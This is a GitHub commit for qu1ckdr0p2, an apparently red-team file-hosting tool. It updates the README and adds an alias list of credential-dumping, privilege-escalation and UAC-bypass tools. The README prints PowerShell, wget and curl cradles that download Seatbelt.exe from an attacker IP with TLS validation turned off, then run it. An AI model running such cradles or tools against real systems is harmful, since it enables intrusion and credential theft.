Skip to content

Commit

Permalink
updated tools and common.init
Browse files Browse the repository at this point in the history
  • Loading branch information
byinarie committed Oct 6, 2023
1 parent 7e5fb4a commit cf3a6d3
Show file tree
Hide file tree
Showing 104 changed files with 34,968 additions and 140 deletions.
105 changes: 48 additions & 57 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,87 +15,78 @@
</p>

## About
Host files fast using aliases, specify a directory (-d), or specify a file (-f). Set serv as an alias to use it anywhere. Supports hosting over http or https. If https is chosen it will generate a certificate and use it automatically. The interface is chosen by priority, if tun0 is up then tun0 will be used, otherwise, it will use eth0. Download tooling to serve or set your own aliases using the ini files. Downloads require a GitHub API token.
Qu1ckdr0p2 comes with an alias and search feature and many tools located in the https://github.com/byinarie/qu1ckdr0p2-tools repository.

Qu1ckdr0p comes with some tools in windows/ and linux/ by default, along with some default repos in config/repos.ini. Not all of the default tools have compiled binaries released in their source code repos (e.g.: ghostpack) so compiled ones are included without the release repo added. Running `serv update` (requires github api key) will reach out to the repos configured in config/repos.ini, download them, and move them into the correct platform directory. All of the tools in the qu1ckdr0p repo and all of the Kali default tools (or most of them) also have a built-in alias.
By default it will generate a self-signed TLS cerficiate to use when using the `--https` option, priory is also given to the `tun0` interface when the webserver is running, otherwise it will use `eth0`.

## Install
```zsh
git clone https://github.com/byinarie/qu1ckdr0p.git /opt/qu1ckdr0p
cd /opt/qu1ckdr0p/
poetry install
sudo apt install kali-tools-windows-resources
sudo apt install kali-tools-post-exploitation
alias serv="python3 /opt/qu1ckdr0p2/qu1ckdr0p2/serv.py" (or add to ~/.zshrc)
```
The common.ini https://github.com/byinarie/qu1ckdr0p2-tools/blob/main/config/common.ini contains the mapped aliases used within the `--search and -u` options.

## Examples
I eventually plan on including a pipeline for handling updates to the included tools but as of now its not implemented.

### Basic usage
#### Defaults to http:80 over iface tun0
When the webserver is running there are several download cradles printed to the screen to copy and paste.

## Install
```zsh
serv serve -d /path
serv serve -d /path --https --port 443
serv serve -f /path/file.bin --https --port 443
serv serve linux --https --port 443
serv serve windows --https --port 443
serv serve seatbelt --https --port 443
serv serve mimikatz --https --port 443
serv list --search "mimikatz"
serv list
pip3 install qu1ckdr0p2
serv init --update
```

### Serve a windows privilege escalation directory over HTTPS 8443

## Basic usage
### Serv a single file located in your current working directory
```zsh
serv serve windows --https --port 8443
# Pre configured post windows directory is: ./windows = /windows
# see: config/common.ini
serv --help
serv init --update
serv serve -f implant.bin --https 443
serv serve -f file.example --http 8080
```
<p><img src="img/serve_windows.jpg"</img>

### Serve the working directory

### Serv a file from a mapped alias
The mapped alias numbers for the `-u` option are dynamic so you don't have to remember specific numbers or ever type out a tool name.
```zsh
serv serve
```
<p><img src="img/working_dir.jpg"</img></p>
$ serv serve --search seatbelt
[→] Path: ~/.qu1ckdr0p2/windows/Seatbelt.exe
[→] Alias: seatbelt
[→] Use: 1

### List currently configured aliases and search for a specific bin
[→] Path: ~/.qu1ckdr0p2/windows/NetFramework_4.0_Any/Seatbelt.exe
[→] Alias: seatbelt_net40_any
[→] Use: 2

```zsh
serv serve list --search winpeas
serv serve list
[→] Path: ~/.qu1ckdr0p2/windows/NetFramework_4.0_x64/Seatbelt.exe
[→] Alias: seatbelt_net40_x64
[→] Use: 3

```
[→] Path: ~/.qu1ckdr0p2/windows/NetFramework_4.0_x86/Seatbelt.exe
[→] Alias: seatbelt_net40_x86
[→] Use: 4

<p><img src="img/list_search_winpeas.jpg"</img>
(...)

$ serv serve --search seatbelt -u 2
[→] Serving: ../../../.qu1ckdr0p2/windows/NetFramework_4.0_Any/Seatbelt.exe
[→] Protocol: https
[→] IP address: 192.168.1.5
[→] Port: 443
[→] Interface: eth0
[→] Using cert: /home/byinarie/.qu1ckdr0p2/certs/cert.pem
[→] Using key: /home/byinarie/.qu1ckdr0p2/certs/key.pem
[→] CTRL+C to quit

### Serve a single file over HTTPS 8443
[→] URL: https://192.168.1.5:443/Seatbelt.exe

```zsh
serv serve -f /usr/share/windows-resources/binaries/nc.exe --https --port 8443
```
<p><img src="img/serv_single_file.jpg"</img><p>
[↓] csharp_ignore_tls:
Add-Type -TypeDefinition "using System.Net;using System.Security.Cryptography.X509Certificates;public class SSLValidator {public static void Ignore() {ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;}}" -Language CSharp; [SSLValidator]::Ignore(); $webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('https://192.168.1.5:443/Seatbelt.exe', 'c:\windows\temp\Seatbelt.exe');Start-Process 'c:\windows\temp\Seatbelt.exe'

[↓] wget_ignore_tls:
wget --no-check-certificate https://192.168.1.5:443/Seatbelt.exe -O /tmp/Seatbelt.exe && chmod +x /tmp/Seatbelt.exe && /tmp/Seatbelt.exe

### Serve a directory over the default http:80
[↓] curl_ignore_tls:
curl -k https://192.168.1.5:443/Seatbelt.exe -o /tmp/Seatbelt.exe && chmod +x /tmp/Seatbelt.exe && /tmp/Seatbelt.exe

```zsh
serv serve -d /usr/share/windows-resources/binaries
[↓] powershell_ignore_tls:
$AllProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'; [System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols; $WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile('https://192.168.1.5:443/Seatbelt.exe', 'c:\windows\temp\Seatbelt.exe'); Start-Process 'c:\windows\temp\Seatbelt.exe'
```
<p><img src="img/serve_directory.jpg"</img></p>

### Download default tools
#### First add your github api token to config/settings.ini
#### Modify config/repos.ini as needed

```zsh
serv update
```
<p><img src="img/update.jpg"</img></p>



Expand Down
4 changes: 2 additions & 2 deletions pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
[tool.poetry]
name = "qu1ckdr0p2"
version = "2.5.0"
version = "2.5.1"
description = "Rapid file hosting."
authors = ["byinarie <byinarie@gmail.com>"]
license = "MIT"
readme = "README.md"
include = ["qu1ckdr0p2/serv.py", "qu1ckdr0p2/config/repos.ini", "qu1ckdr0p2/config/common.ini", "qu1ckdr0p2/config/settings.ini.template"]
include = ["qu1ckdr0p2/serv.py"]
exclude = ["*"]


Expand Down
63 changes: 63 additions & 0 deletions qu1ckdr0p2/config/common.ini
Original file line number Diff line number Diff line change
Expand Up @@ -701,6 +701,18 @@ New-HoneyHash.ps1 = windows/powershell/New-HoneyHash.ps1
nightmare.ps1 = windows/powershell/nightmare.ps1
PowerBreach.ps1 = windows/powershell/PowerBreach.ps1
PowerUp.ps1 = windows/powershell/PowerUp.ps1
Powermad.ps1 = windows/powershell/Powermad.ps1
PowerUpSQL.psm1 = windows/powershell/PowerUpSQL.psm1
PowerUpSQL.psd1 = windows/powershell/PowerUpSQL.psd1
PowerUpSQL.ps1 = windows/powershell/PowerUpSQL.ps1
Invoke-PingSweep.ps1 = windows/powershell/Invoke-PingSweep.ps1
SharpWeb.exe = windows/SharpWeb.exe
SeBackupPrivilegeUtils.dll = windows/SeBackupPrivilegeUtils.dll
SeBackupPrivilegeCmdLets.dll = windows/SeBackupPrivilegeCmdLets.dll
RunasCs.exe = windows/RunasCs.exe
PowerSploit-3.0.0.zip = windows/PowerSploit-3.0.0.zip
BackupOperatorToolkit.zip = windows/BackupOperatorToolkit.zip
BackupOperatorToolkit.exe = windows/BackupOperatorToolkit.exe
PowerView.ps1 = windows/powershell/PowerView.ps1
PrivescCheck.ps1 = windows/powershell/PrivescCheck.ps1
Recon.psd1 = windows/powershell/Recon.psd1
Expand All @@ -711,6 +723,57 @@ Set-RemotePSRemoting.ps1 = windows/powershell/Set-RemotePSRemoting.ps1
Set-RemoteWMI.ps1 = windows/powershell/Set-RemoteWMI.ps1
SharpHound.ps1 = windows/powershell/SharpHound.ps1
Sherlock.ps1 = windows/powershell/Sherlock.ps1

# Sharppack starts here
PowerSharpPack.ps1 = windows/powershell/PowerSharpPack/PowerSharpPack/PowerSharpPack.ps1
Sharp-Invoke-BadPotato.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1
Sharp-Invoke-BetterSafetyKatz.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-BetterSafetyKatz.ps1
Sharp-Invoke-Carbuncle.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Carbuncle.ps1
Sharp-Invoke-Certify.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Certify.ps1
Sharp-Invoke-DAFT.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-DAFT.ps1
Sharp-Invoke-DinvokeKatz.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-DinvokeKatz.ps1
Sharp-Invoke-Eyewitness.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Eyewitness.ps1
Sharp-Invoke-FakeLogonScreen.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-FakeLogonScreen.ps1
Sharp-Invoke-Farmer.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Farmer.ps1
Sharp-Invoke-Get-RBCD-Threaded.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Get-RBCD-Threaded.ps1
Sharp-Invoke-Gopher.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Gopher.ps1
Sharp-Invoke-Grouper2.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Grouper2.ps1
Sharp-Invoke-Grouper3.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Grouper3.ps1
Sharp-Invoke-HandleKatz.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-HandleKatz.ps1
Sharp-Invoke-Internalmonologue.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Internalmonologue.ps1
Sharp-Invoke-KrbRelay.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-KrbRelay.ps1
Sharp-Invoke-LdapSignCheck.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-LdapSignCheck.ps1
Sharp-Invoke-Lockless.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Lockless.ps1
Sharp-Invoke-MalSCCM.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-MalSCCM.ps1
Sharp-Invoke-MITM6.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-MITM6.ps1
Sharp-Invoke-NanoDump.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-NanoDump.ps1
Sharp-Invoke-OxidResolver.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-OxidResolver.ps1
Sharp-Invoke-P0wnedshell.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-P0wnedshell.ps1
Sharp-Invoke-P0wnedshellx86.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-P0wnedshellx86.ps1
Sharp-Invoke-PPLDump.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-PPLDump.ps1
Sharp-Invoke-Rubeus.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Rubeus.ps1
Sharp-Invoke-SafetyKatz.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SafetyKatz.ps1
Sharp-Invoke-SauronEye.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SauronEye.ps1
Sharp-Invoke-SCShell.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SCShell.ps1
Sharp-Invoke-Seatbelt.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Seatbelt.ps1
Sharp-Invoke-ShadowSpray.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-ShadowSpray.ps1
Sharp-Invoke-SharpAllowedToAct.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpAllowedToAct.ps1
Sharp-Invoke-SharpBlock.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpBlock.ps1
Sharp-Invoke-SharpBypassUAC.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpBypassUAC.ps1
Sharp-Invoke-SharpChromium.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpChromium.ps1
Sharp-Invoke-SharpClipboard.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpClipboard.ps1
Sharp-Invoke-SharpCloud.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpCloud.ps1
Sharp-Invoke-SharpDPAPI.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpDPAPI.ps1
Sharp-Invoke-SharpDump.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpDump.ps1
Sharp-Invoke-SharPersist.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharPersist.ps1
Sharp-Invoke-SharpGPOAbuse.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpGPOAbuse.ps1
Sharp-Invoke-SharpGPO-RemoteAccessPolicies.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpGPO-RemoteAccessPolicies.ps1
Sharp-Invoke-SharpHandler.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpHandler.ps1
Sharp-Invoke-SharpHide.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-SharpHide.ps1
Sharp-Invoke-Sharphound2.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Sharphound2.ps1
Sharp-Invoke-Sharphound3.ps1 = windows/powershell/PowerSharpPack/PowerSharpBinaries/Invoke-Sharphound3.ps1


# Linux starts here
ligolo_agent_linux = linux/agent
gost_linux = linux/gost-linux-amd64-2.11.5
Expand Down
Loading

0 comments on commit cf3a6d3

Please sign in to comment.